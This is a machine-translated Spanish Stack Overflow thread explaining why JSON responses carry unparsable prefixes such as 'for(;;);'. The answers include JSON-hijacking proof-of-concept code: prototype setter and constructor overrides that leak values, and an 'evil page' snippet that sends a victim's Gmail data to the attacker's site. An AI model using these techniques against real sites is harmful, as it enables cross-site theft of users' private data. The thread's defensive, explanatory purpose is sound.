javascript - ¿Por qué la gente pone código como "lanzar 1;<no seas malo> ”y“ para(;;); ”delante de las respuestas de json?

ajax security

Question

Posible duplicado:
¿Por qué Google precede a while (1); a sus respuestas JSON?

Google devuelve json así:

throw 1; <dont be evil> { foo: bar}

y ajax de Facebook tiene json así:

for(;;); {"error":0,"errorSummary": ""}

• ¿Por qué ponen código que detendría la ejecución y hace que json sea inválido?
• ¿Cómo lo analizan si no es válido y se bloquearía si tratara de evaluarlo?
• ¿Simplemente lo eliminan de la cadena (parece caro)?
• ¿Hay alguna ventaja de seguridad para esto?

En respuesta a ello por razones de seguridad:

Si el raspador está en otro dominio, tendrían que usar una etiqueta de script para obtener los datos, ya que XHR no funcionará en varios dominios. Incluso sin el for(;;); ¿Cómo obtendría el atacante los datos? No se asigna a una variable, por lo tanto, ¿no sería simplemente recogida de basura porque no hay referencias a ella?

Básicamente para obtener el dominio de los datos que tendrían que hacer

<script src="http://target.com/json.js"></script>

Pero incluso sin la secuencia de comandos de bloqueo preparada, el atacante no puede usar ninguno de los datos de Json sin que se asigne a una variable a la que se puede acceder globalmente (no en estos casos). El código de bloqueo no hace nada porque, incluso sin él, tienen que usar scripts del lado del servidor para usar los datos en su sitio.

Answer 1

¿Cómo lo analizan si no es válido y se bloquearía si tratara de evaluarlo?

Es una característica que se bloquearía si intentara eval . eval permite el código de JavaScript arbitrario, que podría utilizarse para un ataque de scripts entre sitios.

¿Simplemente lo eliminan de la cadena (parece caro)?

Me lo imagino. Probablemente algo como:

function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

El "no ser malvado" cruft evita que los desarrolladores utilicen eval directamente en lugar de una alternativa más segura.

Answer 2

Incluso sin el for(;;); ¿Cómo obtendría el atacante los datos?

Los ataques se basan en alterar el comportamiento de los tipos incorporados, en particular Object y Array , alterando su función de constructor o su prototype . Luego, cuando el JSON seleccionado usa un {...} o construcción, serán las propias versiones del atacante de esos objetos, con un comportamiento potencialmente inesperado.

Por ejemplo, puede hackear una propiedad de establecimiento en Object , que traicionaría los valores escritos en literales de objeto:

Object.prototype.__defineSetter__(''x'', function(x) {
    alert(''Ha! I steal ''+x);
});

Luego, cuando se apuntó un <script> a algún JSON que usaba ese nombre de propiedad:

{"x": "hello"}

El valor "hello" se filtraría.

La forma en que los literales de matriz y objeto hacen que se llame a los definidores es controvertido. Firefox eliminó el comportamiento en la versión 3.5, en respuesta a ataques publicitados en sitios web de alto perfil. Sin embargo, en el momento de escribir Safari (4) y Chrome (5) todavía son vulnerables a esto.

Otro ataque que todos los navegadores ahora rechazan fue redefinir las funciones del constructor:

Array= function() {
    alert(''I steal ''+this);
};

[1, 2, 3]

Y por ahora, la implementación de propiedades de IE8 (basada en el estándar ECMAScript Fifth Edition y Object.defineProperty ) actualmente no funciona en Object.prototype o Array.prototype .

Pero, además de proteger los navegadores anteriores, puede ser que las extensiones de JavaScript causen más fugas potenciales de un tipo similar en el futuro, y en ese caso, la paja debería protegerla también.

Answer 3

Considera que, después de revisar tu cuenta de Gmail, vas a visitar mi página malvada:

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

Lo que sucederá ahora es que el código de Javascript que viene de Google, que el autor de la pregunta pensó que sería benigno e inmediatamente quedaría fuera de alcance, será publicado en mi sitio malvado. Supongamos que la URL solicitada en la etiqueta del script se envía (debido a que su navegador presentará la cookie adecuada, Google considerará correctamente que usted ha iniciado sesión en su bandeja de entrada):

({
  messages: [
    {
      id: 1,
      subject: ''Super confidential information'',
      message: ''Please keep this to yourself: the password is 42''
    },{
      id: 2,
      subject: ''Who stole your password?'',
      message: ''Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42''
    }
  ]
})

Ahora, publicaré una versión serializada de este objeto en mi servidor malvado. ¡Gracias!

La forma de evitar que esto suceda es aumentar las respuestas de JSON y eliminarlas cuando usted, desde el mismo dominio, puede manipular esos datos. Si te gusta esta respuesta, por favor acepta la publicada por Bobince.

Answer 4

EDITAR

Estas cadenas se conocen comúnmente como "cruft no analizable" y se usan para parchar una vulnerabilidad de fuga de información que afecta a la especificación JSON. Este ataque es real y jeremiahgrossman.blogspot.com/2006/01/… . Mozilla también cree que esto es una vulnerabilidad en la especificación JSON y se ha actualizado en Firefox 3 . Sin embargo, debido a que este problema todavía afecta a otros navegadores, se requiere este "cruft no analizable" porque es un parche compatible.

La respuesta de Bobice tiene una explicación técnica de este ataque y es correcta.